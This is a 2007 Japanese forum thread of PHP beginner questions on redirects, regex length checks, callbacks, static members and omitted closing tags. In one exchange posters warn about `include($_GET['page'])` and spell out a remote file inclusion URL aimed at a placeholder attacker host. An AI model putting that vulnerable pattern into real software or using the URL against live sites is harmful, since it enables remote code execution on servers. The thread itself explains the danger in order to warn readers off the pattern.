常識か常識でないかと、使うべきか使わないべきかがごっちゃになってると思うが。わざとかw

396 :nobodyさん:2007/10/27(土) 21:23:42 ID:???
$page = $_GET["page"]; inculde("$page");
のコードがあります。
URLの欄にhttp://localhost/bbs.php?page=http://example/test.php?&name=hoge
と打ち込むとhttp://〜test.phpのところまで意味が分かりますが、どうして?&
を付けているのか分かりません。普通は、.phpの後に?name=hoge&id=123に繋げれば
いいのは分かるのですが、どうして?&を付けるのでしょうか?

397 :nobodyさん:2007/10/27(土) 21:25:56 ID:???
引数でも単体でもどっちでも使えるようにじゃね?

398 :nobodyさん:2007/10/27(土) 21:27:04 ID:???
つけてもつけなくても同じ
つーか分かってるかも知れんが、$page = $_GET["page"]; inculde("$page"); なんて
すげーセキュリティホールだから止めてね

399 :nobodyさん:2007/10/27(土) 21:29:01 ID:???
>>390
覚えなくてもたいがい期待したとおりの優先順位だよ
グループごとで把握しとけばいい
and or xor と || && が両方ある意味はいまさら言うまでもないだろうけど

400 :nobodyさん:2007/10/27(土) 21:30:14 ID:???
>>396
リダイレクトか何かのプログラムなんだろ
http://example/test.php?&name=hoge
はほかのページのアドレスで、それを取得してそこに飛ばすとか

401 :nobodyさん:2007/10/27(土) 21:31:56 ID:???
>>388
始めて1ヶ月もしないうちにサンプルプログラムで何度も見たが気にしなかった
実際にはサンプル以外では使えないから
>>350を見て気がついたので>>352を書いた

402 :nobodyさん:2007/10/27(土) 21:32:02 ID:???
>>389
関数ではなく構造だとはっきり書かれてるよ
orはPHPでは稀だが、CやPerlでは良く使われる

403 :nobodyさん:2007/10/27(土) 21:34:42 ID:???
C使いは手動で最適化するの大好きだからな
||の左右ごときに死ぬほど拘るw

404 :nobodyさん:2007/10/27(土) 21:35:02 ID:???
>>402
Perlが知らんが、Cに「or」なんて演算子はなかったと思うが

405 :nobodyさん:2007/10/27(土) 21:36:55 ID:???
>>403
いや右辺がスキップされる特性は普通に拘るべきポイントだろ

406 :nobodyさん:2007/10/27(土) 21:37:00 ID:???
結局、>>383>>385を説明できないんだな
演算子の順位を丸暗記してるだけじゃねーのか?w


407 :nobodyさん:2007/10/27(土) 21:37:57 ID:???
>>406
お前はどこまで低脳なんだw

408 :nobodyさん:2007/10/27(土) 21:38:38 ID:???
>>407
やっぱりまだいたかw

409 :nobodyさん:2007/10/27(土) 21:39:52 ID:???
>>398
phpでURLをどう解釈して処理しているのかよく分からないのです。
?から&までを$_GETで取得できるってことですよね?
$page = "http://example/test.php?";
になると?が余分についててtest.phpが読み込めないかなぁと思って理解できません。

410 :nobodyさん:2007/10/27(土) 21:40:05 ID:???
これは普通にやるよね
if(($a=foo())==false) {

411 :nobodyさん:2007/10/27(土) 21:41:31 ID:???
>>408
俺じゃねーし
お前だけ蚊帳の外だよなw

412 :nobodyさん:2007/10/27(土) 21:42:35 ID:???
>>410
それが?

413 :nobodyさん:2007/10/27(土) 21:42:37 ID:???
>>411
はいはい、よかったねw
もう出てくるなよ

414 :nobodyさん:2007/10/27(土) 21:44:18 ID:???
>>398
それ、なんでセキュリティホールになるのか教えてくれ

415 :nobodyさん:2007/10/27(土) 21:44:26 ID:???
>>410
セオリーでは代入は外に出すけど、まあそういうののほうが見やすいこともアルカポネ

416 :nobodyさん:2007/10/27(土) 21:45:14 ID:???
>>413
煽られるだけ煽られてPHPの話題についていけなくてワロタw

417 :nobodyさん:2007/10/27(土) 21:46:08 ID:???
>>416
お前がついて行けてないだけだろw

418 :nobodyさん:2007/10/27(土) 21:48:06 ID:???
>>410
if内で代入は無いわ
ただ ! より == false 使いたくなることはある
rubyのunlessも嫌い

419 :nobodyさん:2007/10/27(土) 21:49:34 ID:???
>>417
自白乙
どう見てもついていけてないのはお前ですw

420 :nobodyさん:2007/10/27(土) 21:54:13 ID:???
>>415
>>418
好みの問題ってことか

421 :nobodyさん:2007/10/27(土) 21:56:37 ID:???
>>414
PHPの権限で読める任意のファイルを読み込まされちゃう
PHPのバージョンとか設定によっては外部のPHPコードさえ実行される
http://target.com/target.php?page=http://www.attacker.com/hack.php → include($_GET["page"]);

昔某CMSが盛大にやらかしたよね

422 :nobodyさん:2007/10/27(土) 22:02:09 ID:???
>>421
サンクス
まだ公開してないけど,使ってるわw
こりゃ勉強しないといけないな

423 :nobodyさん:2007/10/27(土) 22:02:24 ID:???
Pythonはifの()で代入できないようになっとるね。
比較と代入が紛らわしかったり、==とまちがえて=としちゃうバグを防ぐためだとか。

424 :409:2007/10/27(土) 22:04:44 ID:???
私の質問も答えてください

425 :nobodyさん:2007/10/27(土) 22:06:38 ID:???
>>424
仕様を勉強しろ

426 :nobodyさん:2007/10/27(土) 22:08:32 ID:???
変数 = 式 論理演算子 式;
やっぱ代入文の右辺が評価式になってるっつうのは気持ち悪いというか肌に合わない
他にこういう構文で組める言語ってある?

427 :nobodyさん:2007/10/27(土) 22:08:42 ID:???
http://blog.goo.ne.jp/kamimura40

428 :nobodyさん:2007/10/27(土) 23:20:58 ID:DskU7Uv6
済みません。
教えてください。

PHP4で携帯サイト造ってるんですが
<?php
if($_POST["send"]){
header('Location: b.php',true,307);
}
?>
<html>
<head>
<body>
<form name="form1" method="POST" action="a.php">
<input type="text">
<input type="submit" name="send">
</form>
</body>
</html>
って感じでa.phpからb.phpにリダイレクトしたいんですが
DOCOMOだと「指定されたURLは無効です」って言う
エラーが出てしまいます。
(AUだと問題なくリダイレクトできました)
何が悪くて如何解決すれば良いのか教えて頂けないでしょうか?

429 :sage:2007/10/27(土) 23:21:55 ID:DskU7Uv6
済みません・・・
下げ忘れました・・・
よろしくお願いします。

430 :nobodyさん:2007/10/27(土) 23:22:25 ID:???
済みません・・・
下げ間違えました・・・

431 :nobodyさん:2007/10/28(日) 00:20:23 ID:J8S2LPG/
質問します。 アンケートフォームのような「記入」→「確認」→「送信」という
一般的な登録システムで、確認画面から記入ページに戻った時に
さっき入力していた文言がそのまま残ってるようにしたいんですが、
これは <input name="namae" value="<?php echo $_SESSION['namae']; ?>" type="text">
て風にするんでしょうか?

というか、普通にブラウザのバックボタンやキーボードのbackspaceでもどっても
記入されてる場合が最近は多い気がしますが、念のため上のような処理にしたほうが
いいのか、それとも気にしなくてもいいのか… その辺も含めて、
あれはどうやって実現してるのか教えてください。
環境はwinXP apache2 php5です

432 :nobodyさん:2007/10/28(日) 00:22:49 ID:???
>>428
Locationが相対URLだからじゃないの?RFC的には絶対URLで指定するべきだし
あとPOSTのレスポンスで30xが来ても自動的にリダイレクト先をGETしないのが
正しいクライアントの動作だった気がする

個別の端末の動作は知らんので携帯スレでw

433 :nobodyさん:2007/10/28(日) 01:00:17 ID:???
トリック・オア・トリート(Trick or treat. お菓子をくれなきゃ、いたずらするぞ)

のオア

434 :nobodyさん:2007/10/28(日) 01:04:03 ID:???
携帯スレはずいぶん前に腐海にのまれたよ

435 :nobodyさん:2007/10/28(日) 01:22:15 ID:???
>>431
普通でOK

436 :nobodyさん:2007/10/28(日) 01:26:28 ID:???
>>431
typeを後ろに書くあたりソースの書き方が気に入らない

437 :nobodyさん:2007/10/28(日) 01:35:29 ID:???
ステレオtypeですか

438 :nobodyさん:2007/10/28(日) 01:45:48 ID:???
>>432
有難う御座います。
絶対パスで書いたら上手く行きました。
スレ汚し失礼しました。


439 :nobodyさん:2007/10/28(日) 01:46:48 ID:???
どういたまして。

440 :nobodyさん:2007/10/28(日) 04:10:25 ID:???
クラスのメソッド内の処理って
メソッドを実行したときに初めて読み込まれるのでしょうか?
それともオブジェクト生成した時点で読み込まれるのでしょうか?

441 :nobodyさん:2007/10/28(日) 04:13:05 ID:???
この一年流れについていけなかった。で、俺の給料はどうなるのよ

06年 5月 05年度決算の赤字転落を公表
07年 2月 特定商取引法違反の疑いで経産省と東京都が立ち入り検査
    4月 最高裁、解約精算方法に違法判断
    6月 経産省が一部業務停止命令
   10月 会社更生法の適用を申請

442 :nobodyさん:2007/10/28(日) 04:14:16 ID:???
素朴な疑問なんだが、
コンストラクタ内で return $var したらどうなるの?

443 :nobodyさん:2007/10/28(日) 04:15:01 ID:???
試してみればいいじゃん

444 :nobodyさん:2007/10/28(日) 04:18:27 ID:???
>>440
オブジェクトを生成した時点でメモリ上に組み込まれる。
読み込み自体はもっと早く、ソース上で定義した時点で行われてるが
多分、そういう意味ではないんだよな?

445 :nobodyさん:2007/10/28(日) 04:21:48 ID:???
>>442
意味はない
不都合もない

446 :nobodyさん:2007/10/28(日) 04:22:32 ID:???
はい?コンストラクタから値を返すには必要だろ

447 :nobodyさん:2007/10/28(日) 04:26:06 ID:???
>>446
コンストラクタの本質的な意味を理解していない低脳を発見。

448 :nobodyさん:2007/10/28(日) 04:29:28 ID:???
じゃ何なんだよ

449 :nobodyさん:2007/10/28(日) 04:59:13 ID:???
これは罠よ!
コンストラクタで別に初期値設定しなくてもいいのに値を代入して、
おざなりのゲッタだのセッタだのして、
大げさにメゾlるどから値返すような人生に疑問を感じたんでしょ?w

450 :nobodyさん:2007/10/28(日) 05:04:31 ID:???
コンストラクタが何をする場所か考えれば
returnなんてしようと普通思わないと思うんだけど

451 :nobodyさん:2007/10/28(日) 05:04:59 ID:???
いや、
コンストラクタのロードタイミングも考慮せずに、
返り値の議論をしているから、それが片手落ちの低脳と申し上げたまで。

452 :nobodyさん:2007/10/28(日) 05:08:16 ID:???
>>446
値を返すコンストラクタってどんなやつ?

453 :nobodyさん:2007/10/28(日) 05:11:14 ID:???
>>451
ロードタイミングってなんだよ・・・・

454 :nobodyさん:2007/10/28(日) 05:14:43 ID:???
>>453 虎舞竜

455 :nobodyさん:2007/10/28(日) 05:16:13 ID:???
>>451
まさかコンストラクタをメソッドとしてヨブ記じゃあるまいな

456 :nobodyさん:2007/10/28(日) 05:21:22 ID:???
PHPでジョージのことなんて考える必要ないし

457 :nobodyさん:2007/10/28(日) 06:25:49 ID:???
もしかして451は440と442を混同している困ったちゃんじゃ?

458 :nobodyさん:2007/10/28(日) 09:03:29 ID:???
451はプログラムのことは何もわかっていない、
たぶん昨日から居座っている奴だから
相手にしないこと

459 :nobodyさん:2007/10/28(日) 09:27:37 ID:1rvp1hq4
>>435
ありがとうございます。普通でいいとはどういうことですか?
valueにセッションの値を代入みたいな処理は不要と考えて良いんでしょうか?

つまらない質問かもしれないですが、回答お願いします

460 :nobodyさん:2007/10/28(日) 09:46:50 ID:MkUMoDKr
PHPからXML-RPCでブログにFC2と、忍者ブログに投稿しようとしているのですが、
ttp://atamanote.blog48.fc2.com/blog-entry-47.html
ここで書かれているコードを、

$blogs = array_map( 'array_convEnc', XML_RPC_decode( $result->value() ) );

となっているところを、

foreach( XML_RPC_decode( $result->value() ) as $a ){
mb_convert_encoding(
$a, mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] );
}

こう変えて、エラーをなくしたのですが、FC2は、タイトルがArrayになって、本文が無い状態になり、下書き状態で投稿され、
忍者ブログでは、投稿すらされません。

他にどこをいじれば、また、代替案などはあるのでしょうか?

忍者ブログは、BlogPet用のXML-RPCエンドポイントを使用しています。
ttp://www.ninja.co.jp/faq/a/169/

461 :nobodyさん:2007/10/28(日) 09:53:37 ID:???
エラー無くすだけじゃなくてちゃんと意味も考えようよ

462 :nobodyさん:2007/10/28(日) 10:03:47 ID:???
xajaxというものを見つけたのですが、あまり使われていなのでしょうか?

463 :460:2007/10/28(日) 10:43:06 ID:MkUMoDKr
>>461
エラー見る限り、クラス内でコールバック関数は動かないのかと思って、
配列でちゃんと動くよう改良したのですが・・・

464 :nobodyさん:2007/10/28(日) 10:56:12 ID:???
>>463
http://www.php.net/callback
http://www.php.net/array_map
http://www.php.net/mb_convert_encoding
http://www.php.net/froeach

465 :nobodyさん:2007/10/28(日) 10:57:13 ID:???
間違えたけどfroeachでも飛んでくれるんだなw

466 :460:2007/10/28(日) 11:43:40 ID:MkUMoDKr
>>464
どうしても、
The first argument, 'array_convEnc', should be either NULL or a valid callback

つまり、第一引数でarray_convEncが有効じゃないって、意味だと思うのですが、どういうことだかさっぱりです。

XML_RPC_decode( $result->value() )
で返される値は配列じゃないので、array_mapはなんかおかしい気がするのですが・・・

467 :nobodyさん:2007/10/28(日) 12:00:49 ID:???
>>466
第一引数の問題だったらarray_convEnc()側の定義ミスかなんかだろ。
第二引数が配列かどうか以前。

つか、XML_RPC_decode()が配列を返さないんなら
foreach( XML_RPC_decode( $result->value() ) as $a ){
mb_convert_encoding(
$a, mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] );
}
こっちだって正常に動かないじゃん。
言ってることとやってることがかみ合ってないぞ。

468 :nobodyさん:2007/10/28(日) 12:21:23 ID:MkUMoDKr
>>467
>>466にはさっき気づいたんです。ちゃんと確かめてなかった。
一応、array_convEnc晒しておきます。
function array_convEnc($a){
if( is_array($a) ){ return array_map( 'array_convEnc', $a ); }
return mb_convert_encoding(
$a, mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] );
}

一応、クラス内の関数でコールバックしてるので、どうなのかなと。
クラス外に関数化すると、
Argument #2 should be an array
第二引数が配列ではない、ってことなので、
call_user_func('array_convEnc', XML_RPC_decode( $result->value() ));
にしてみたところ、エラーは出なくなりました。

ただ、
>FC2は、タイトルがArrayになって、本文が無い状態になり、下書き状態で投稿され、
問題が解決してない・・・

469 :nobodyさん:2007/10/28(日) 13:08:03 ID:???
>>468
いやあのさ、
The first argument, 'array_convEnc', should be either NULL or a valid callback
このエラーはarray_convEnc()なんて関数はどこにもねーよ!ってエラーであって
関数の中身なんて関係ないのよ。
お前のソースの書き方そのものがどっか間違ってる可能性が高いってこと。

470 :nobodyさん:2007/10/28(日) 13:16:50 ID:???
>>468
> 第二引数が配列ではない、ってことなので、
> call_user_func('array_convEnc', XML_RPC_decode( $result->value() ));
> にしてみたところ、エラーは出なくなりました。
なんだそれ?
何でそんな修正をしようと思ったのか根拠を述べてみてくれよ。
エラーを出したくないだけで意味のないソースを書くなら、
1行も書かないのが1番早いんだぞ。

ようするにXML_RPC_decode()は入力も出力も配列じゃなくて、
$result->value()の結果は配列なんだろ。
だったら

$blogs = array_map( 'array_convEnc', $result->value() );

function array_convEnc($a){
if( is_array($a) ){ return array_map( 'array_convEnc', $a ); }
return XML_RPC_decode( mb_convert_encoding(
$a, mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] ) );
}

とするべきだろう。
つか、元々のコード自体がバグってるだけなんだから
blogの主にゴラァしろよ。
でなきゃ人のコードぱくらず自分で全部作れ。

471 :470:2007/10/28(日) 13:18:51 ID:???
おっと、処理の順番間違った。
function array_convEnc($a){
if( is_array($a) ){ return array_map( 'array_convEnc', $a ); }
return mb_convert_encoding(
XML_RPC_decode($a), mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] );
}
こうだな。

472 :460:2007/10/28(日) 13:27:00 ID:MkUMoDKr
では、質問変えますが、クラス内にある関数をクラス内でコールバックするにはどうすればいいのでしょうか?

>>470
>何でそんな修正をしようと思ったのか根拠を述べてみてくれよ。
クラス内での関数が有効化されてないと思って、クラス外に置いただけです。


>でなきゃ人のコードぱくらず自分で全部作れ。
これに関してはまったく反論の余地がありません。
もう少し自分で練ってみます。

473 :nobodyさん:2007/10/28(日) 13:36:22 ID:???
マニュアルよまんと、なんですぐ書いてまうん?
ttp://jp.php.net/manual/ja/language.pseudo-types.php#language.types.callback

474 :nobodyさん:2007/10/28(日) 13:54:03 ID:???
理解度が低いとマニュアルを読んでも当該箇所を見つけられないから

嘘は言ってない

475 :nobodyさん:2007/10/28(日) 14:03:16 ID:???
つーか、作者本人に言えばいいのに…
なんで他人の他人なんて縁遠いやつのコードをデバッグしてやらにゃならんのだ。

476 :nobodyさん:2007/10/28(日) 14:06:38 ID:ih5Shsjs
質問させて下さい

php5.2.3です。

文字数制限で文字数を超えたら書き込みできないように設定したいのですが
if(ereg("[A-Za-z0-9\+\/]{10,50}", $abc))

10〜50文字で書き込まないと書き込めないようにしてるのですが機能しません;;
よろしければどのように書いてやればいいのか教えて下さい。





477 :nobodyさん:2007/10/28(日) 14:08:16 ID:???
その正規表現の意味を考えれば当然だろ・・・
mb_strlenでも使っとけ

478 :nobodyさん:2007/10/28(日) 14:09:41 ID:???
>>476
if(ereg("[A-Za-z0-9\+\/]{10,50}", $abc))

if(ereg("[(.*)]{10,50}", $abc))


もっとよさげなのがある気がする

479 :nobodyさん:2007/10/28(日) 14:15:50 ID:???
それでも50超えたら50までがマッチしてパスするんじゃないの

480 :nobodyさん:2007/10/28(日) 14:17:21 ID:???
あとNULL挟んでもっと長い文字送りつけられる可能性があるからpregのほうが安全だと思う

481 :nobodyさん:2007/10/28(日) 14:21:36 ID:g2sP/S0K
mb系とiconv系って
どうやって使い分けたらいいですか?
どっちを使えばいいのか分かりません

482 :nobodyさん:2007/10/28(日) 14:24:06 ID:ih5Shsjs
>>477-480さんレス有難うございます

if(ereg("[(.*)]{10,50}", $abc)) こちらで確認できました。有難うございます!

preg_matchの方でやってみたいと思います。

本当に助かりましたm(_ _"m)ペコリ
親切にありがとうございます!(感謝しています)


483 :nobodyさん:2007/10/28(日) 15:16:12 ID:???
>>482
いやそれ…ホントに機能してる?
確認方法間違ってね?

if(ereg("^.{10,50}$", $abc))
じゃなきゃダメだろ?

484 :nobodyさん:2007/10/28(日) 15:55:57 ID:ih5Shsjs
>>483
確認しましたら50文字以上も記述されるようになってました。

>>483
こちらで教えてもらった方法でしたら
あいうえおなど半角記号英数字以外でも記述されるようになってしまっています・・・。

勉強してきます(汗

485 :nobodyさん:2007/10/28(日) 15:59:56 ID:ih5Shsjs
ごめんなさいできました!
>>483
愛してます!

486 :nobodyさん:2007/10/28(日) 16:05:29 ID:???
きんもーっ☆

487 :nobodyさん:2007/10/28(日) 16:07:25 ID:???
>>472
>>463で出されてるのに見てもないのね。質問者として最悪だよ。

488 :nobodyさん:2007/10/28(日) 16:10:24 ID:???
結局480が言うようなNULL挟んだ文字列でアボーソ

489 :nobodyさん:2007/10/28(日) 16:48:47 ID:???
>>487
たぶんIDみれば世界が変わる気がする

490 :nobodyさん:2007/10/28(日) 16:54:12 ID:???
>>489
どういうこと?

491 :nobodyさん:2007/10/28(日) 17:19:31 ID:???
>>490
同じIDで同じようなこと言ってないか?ってこと

まあ、クラスのハンドルできない俺は答えられないけど

492 :nobodyさん:2007/10/28(日) 20:03:49 ID:???
fopen()を使ってXMLファイルを出力していたのですが
サーバのPHPがSafeModeで動作しておりfopen()が使えません。

CGI版で動かす方法も試そうと思ったのですが、サーバが
モジュール版で動作しているためそれもできませんでした。

良い代替方法はありますか?

493 :nobodyさん:2007/10/28(日) 21:50:31 ID:???
>>492
file_put_contents

494 :nobodyさん:2007/10/28(日) 21:54:36 ID:B6O0ATcQ
PHPでWindows向けアプリを作りたいのですが、
WinBinder+Bamcompilerがついてる開発向けソフトなどまだないのでしょうか?

495 :nobodyさん:2007/10/28(日) 22:28:46 ID:???
>>496
新しい関数があったんですね。助かりました、ありがとうございます。

496 :nobodyさん:2007/10/28(日) 22:44:24 ID:???
>>494
おとなしくCやJavaで作ったほうがいいよ。

497 :nobodyさん:2007/10/29(月) 01:01:20 ID:???
yesかnoでお答えください

498 :nobodyさん:2007/10/29(月) 01:11:02 ID:???
じゃあyesで

何が?

499 :nobodyさん:2007/10/29(月) 02:16:49 ID:/JLEVJSc
1行掲示板みたいなのを初めて作っています。
教えて下さい。

やりたいことは最後に書き込みをした人の時間を取得して表示させたいんです。


$now = gmdate("Y/m/d H:i", time()+9*60*60); が時間を取得しています。

下記のように実行させて表示させたいのですが、どこか参考になるサイトなどないでしょうか?

<?php
$lastmod = date ("Y/m/d H:i:s", getlastmod());
echo "最終更新日: " . date ($lastmod);
?>


500 :nobodyさん:2007/10/29(月) 02:19:47 ID:???
>>499
方法を教えてほしいのか
サイトを教えてほしいのか
どっちかにしろ

501 :nobodyさん:2007/10/29(月) 02:27:27 ID:???
echo "最終更新日: " . $lastmod;

502 :499:2007/10/29(月) 02:29:35 ID:???
>>500
方法でしたm(_ _"m)ペコリ

>>501
有難うございます!!
大変助かりました。

503 :nobodyさん:2007/10/29(月) 03:31:02 ID:LZFfsiWa
ローカルにa.phpがありまして、
リモート上にb.php(http://www.example.com/b.php)があります。

ローカルのa.phpからrequire_onceを使ってb.phpを実行するまでは出来たのですが、
b.phpでセットした値をa.phpで使用する方法が分からず悩んでいます。

呼び先のphpから呼び元のphpへデータを返す方法を教えていただけませんでしょうか。
宜しくお願いします。

504 :nobodyさん:2007/10/29(月) 03:41:39 ID:???
>>503
それあんたの言う「リモート」って関係あるか?
require_onceでファイルだけ読込んであんたの言う「ローカル」で実行してるんだろ?


505 :nobodyさん:2007/10/29(月) 03:44:53 ID:???
>>503
あんたのいう「データ」が何なのかわからんけど
普通にGETで渡すとかSESSIONとか使えばいいんじゃね

506 :nobodyさん:2007/10/29(月) 03:45:56 ID:???
つーか外部スクリプトの変数やら定数やらを取得できたら大変なことに。

507 :nobodyさん:2007/10/29(月) 03:48:54 ID:???
HACK天国

508 :nobodyさん:2007/10/29(月) 03:53:30 ID:???
>>503
まず具体的に何をしたいのか、どんなプログラムを作りたいのか言ったほうが早いよ

ある所から値を取り出したいなら、XMLなりシリアライズなりCSVなりファイルをphpで生成したほうがいいんじゃない?

509 :nobodyさん:2007/10/29(月) 03:55:34 ID:???
>>506が指摘してる通りセキュリティ的にそんなことできない。
たとえば配布されているスクリプトを考えて欲しい。
掲示板にせよアップローダにせよ、管理者のパスワードを設定する項目があるだろう。
パスワードが格納される変数は通常変更しないし、ファイル名もそのまま使うだろう。
(もし変更した場合、関連箇所を全て修正しないといけない)
となると、配布されているスクリプトの場合、
パスワードが格納されている変数と、パスワードが記述されているファイル名は、
第三者でも容易にわかってしまうわけだ。
たとえばhttp://example.com/conf.phpがパスワードが記述されているファイル名として、
$passwordにパスワードが格納されているとすると、
ローカルから
require_once("http://example.com/conf.php");
echo $password;
なんてできたら大変なことになるだろう?ちょっと考えればわかるはずだ。

510 :nobodyさん:2007/10/29(月) 04:09:41 ID:LZFfsiWa
>>504-509
深夜に色々とアドバイス頂きましてどうもありがとうございました。

私のやりたい事は、>>509さんのご指摘の通り、
で、b.php側で
function foo() {
$data = "";
return $data;
}
とやって、ローカル側のa.phpで$dataが取得できたら、と思っていました。

でも、確かに、よく考えればセキュリティー上許されないですね。すみません。

>>508のアドバイス通り、一回ファイルをサーバー側で生成して
それを見に行く方法しかないみたいです。

# 初めファイル経由でデータをサーバーから受け取ろうとしたのですが、
# 一つの変数を受け取るのに一時ファイルを作るに抵抗を感じいました。
# ソケット経由でデータを受け取る方法も考えたですが、それも大げさかなぁ、と思って安易に考えていました。

どうも、ありがとうございました。

511 :508:2007/10/29(月) 04:17:56 ID:???
>>510
ちょ、呼び捨て?w

http://jp.php.net/manual/ja/function.include.php
ここ読むとincludeによる読み込みは出来るみたいだぞ

まぁ、値渡したいだけなら>>508とかの方法にしたほうがいいけど

512 :nobodyさん:2007/10/29(月) 04:20:32 ID:???
よぉ>>508、調子はどうだい

513 :nobodyさん:2007/10/29(月) 04:20:34 ID:???
>>508の知識がなめられてるってことだなw

514 :nobodyさん:2007/10/29(月) 04:21:00 ID:???
ありがとう、508。

515 :nobodyさん:2007/10/29(月) 04:21:35 ID:???
短時間で煽られすぎワロタ

516 :nobodyさん:2007/10/29(月) 04:48:48 ID:???
>>508の方法が一般的かもしれないが、
>>505さんの方法をぜひ教えていただきたいですわ

乗り遅れたぜ

517 :nobodyさん:2007/10/29(月) 04:57:21 ID:???
>>516
俺505さんだが、すまん質問内容を間違えてたよ
これからは質問内容しっかりと理解して、最低2日間は考えてからレスするようにするよ
んじゃ、逝ってくるorz

518 :nobodyさん:2007/10/29(月) 05:15:25 ID:pKcinqWT
pearのauthクラスは商用サイトで十分使えますか?

519 :nobodyさん:2007/10/29(月) 05:17:35 ID:???
つかえまsn

520 :nobodyさん:2007/10/29(月) 05:22:06 ID:pKcinqWT
大手は独自の認証コードを書いてるんですかね?
商用でも十分耐えうる認証ライブラリありませんか?

521 :nobodyさん:2007/10/29(月) 08:28:45 ID:???
認証の仕組みなんて結構ワンパターンな気がするが

広く利用されることでより洗練され堅牢になる品

522 :nobodyさん:2007/10/29(月) 08:30:12 ID:???
static変数について質問です。
インスタンスメソッドではなくクラスメソッドからstatic変数を参照するときに、各クラスごとに別の値を参照させることはできますか。
やりたいことは次のようなことです。
class ModelObject {
    static $table = NULL;
    function select() {
        $t = self::$table;
        var_export("select * from $t");
    }
}

class Model1 extends ModelObject {
    static $table = 'table1';
}

Model1::select();
exit(0);  //=> 'select * from ' と表示されるが、'select * from table1' と出てほしい

これができないと、すべてのクラスメソッドをそれぞれのクラスで再定義しなければならず、あまりにもめんどくさいです。

523 :nobodyさん:2007/10/29(月) 08:52:58 ID:???
ありがとうございました

524 :nobodyさん:2007/10/29(月) 08:53:29 ID:pKcinqWT
↑ミス

ありがとうございました

525 :nobodyさん:2007/10/29(月) 11:27:12 ID:???
>>522
class ModelObject {
  static $table = NULL;
  function select($class) {
    $vars = get_class_vars($class);
    var_export("select * from ".$vars['table']);
  }
}

class Model1 extends ModelObject {
  static $table = 'table1';
}

Model1::select('Model1');

526 :nobodyさん:2007/10/29(月) 12:34:56 ID:???
モデルは唯一だから、staticでやりたいんだろうけど、
インスタンス化しちゃえばいけるかも
newじゃなくって、singletonにすればなおいいかも



527 :nobodyさん:2007/10/29(月) 13:54:47 ID:???
しょうもないことですが、教えてください。

今までPHPでプログラム作ってて、PHPの構文を入れる際には
<?php
 〜〜
?>
で囲っていました。

今回フレームワークというのが面白そうだと思って勉強してみようと思い
Zend Framework入門っていう本を買いました。
ttp://www.zend.co.jp/products/book/book_zf.php

プログラムのサンプルを見て気が付いたのですが、どれもこれも
<?php
 〜〜
で終わっており、「?>」で閉じてないんですよ。

実際にZend Frameworkをインストールしたディレクトリにあるphpファイルを
参照してみましたが、これらも同様に「?>」で閉じられていませんでした。

これってどういうことなんでしょうか?
「?>」を省くことができるってことなんでしょうか?

528 :nobodyさん:2007/10/29(月) 13:58:51 ID:???
>>527
それって人に聞かなきゃ分からない話か?
それとも何でも人に聞かなきゃ物事を進めれない人?
「一年間トイレに行ってないのですがやはりトイレは行ったほうがいいでしょうか?」
こんなこととか聞く人かな?

529 :nobodyさん:2007/10/29(月) 13:59:28 ID:???
>>527
あ。本の宣伝だったのね・・・・

530 :nobodyさん:2007/10/29(月) 14:06:22 ID:???
>>529
宣伝じゃないよ!

>>528
どうして「?>」で閉じてないけど、どうしてこれでいいのか分からなかったんです。
私が知っているPHPは「?>」で閉じるものだ、って理解していましたが
こういう本を読んでみたら?>で閉じてないからどうしてかなと思ってですね。

トイレでもなんでも聞きますんで、教えてください。

531 :nobodyさん:2007/10/29(月) 14:18:29 ID:???
>>530
省けるか省けないか
<? phpinfo();
としてみれば分かるだろう。
それともここの人にそれをやって俺様に報告しろってことか?


532 :nobodyさん:2007/10/29(月) 14:19:41 ID:???
たまに著者もここみて宣伝にくるから気をつけろよ初心者ども
売れない本=わかりずらい本

533 :nobodyさん:2007/10/29(月) 14:27:21 ID:???
わかりずらい(←何故か変換できない)

534 :nobodyさん:2007/10/29(月) 14:28:44 ID:???
>>531
そうでしたね。
すいませんです。
ありがとうございました。

>>532
まじで宣伝じゃないって!

でも?>を省くなんて、入門本としてはイクナイと思う。
普通は<?php 〜 ?>って書くもんね。

535 :nobodyさん:2007/10/29(月) 14:29:00 ID:???
googleで PHP 閉じない
で検索するだけで、大量の情報を得られるだろ
んなことを、しれっと質問するから宣伝乙
っていわれるんだバカやロー

536 :nobodyさん:2007/10/29(月) 14:34:36 ID:???
なんか盛り上がってる奴がいるなあ

537 :nobodyさん:2007/10/29(月) 14:37:11 ID:???
>>530
PHPってのはもともとHTMLがあって
その一部にPHPコードを埋め込むというもの。

つまり、
<html>
<?php 〜〜〜 ?>
</html>

とあったとき<?php 〜〜〜 ?>の外側の<html>、</html>が”出力”される。

もし<?php 〜〜〜 ?>の外側にスペース・改行があったとしたら・・・。
<?php の前にスペース・改行があったらすぐに気づくが、
?>の後にスペース・改行があっても気づかないもの。

その場合に余計な空白が出力されてしまうことになる。
これが問題ない場合もあるが、出力された文字をデータとして扱う場合に
問題が出ることもある。そのため?>を省いており、
また、省くことができる仕様になっている。

538 :nobodyさん:2007/10/29(月) 14:38:19 ID:???
>>535
いや、その検索ワードはちょっと思いつかないよ。
タネを知ってたら思いつくだろうけど。

あと、スレタイが「くだらない質問〜」って書いてあるからいいかなと思ったんだけど。

それにしても?>を意図的に書かないって言うテクがあったんですね。
知らなかったヨ。

ってことは、あの本は良い本ってことで。
(宣伝じゃないよ)

539 :nobodyさん:2007/10/29(月) 14:38:32 ID:???
PI閉じタグ直後の改行は削除される仕様です

540 :nobodyさん:2007/10/29(月) 14:40:32 ID:???
>>537
詳細サンクスです。
今回の件はとても勉強になりました。
スレ汚しすいませんでした。

541 :nobodyさん:2007/10/29(月) 14:41:07 ID:???
すまん。俺も悪かった。

542 :nobodyさん:2007/10/29(月) 14:44:37 ID:z+kol6j9
call_user_func_array()とcall_user_func()の違いがわかりません。
マニュアル見ても同じような気がするんですが、違うものなんでしょうか?

543 :nobodyさん:2007/10/29(月) 14:46:43 ID:???
>>542
引数の数が不明だった場合に_arrayを使う

544 :nobodyさん:2007/10/29(月) 14:58:17 ID:/8Ez3TkO
PEARって自動的にエスケープしてくれるもんだと思ってたorz
autoExecuteのみ必要に応じてエスケープしてくれるのか・・・
普通にSELECTするときは自分でエスケープしないといけないんですね

545 :nobodyさん:2007/10/29(月) 15:11:43 ID:???
データベース使うなら、PEARなんか使わずに
素直にフレームワーク使ったほうが良い

546 :nobodyさん:2007/10/29(月) 16:26:46 ID:???
>>540
zendのコーディング規約に書いてあるよ

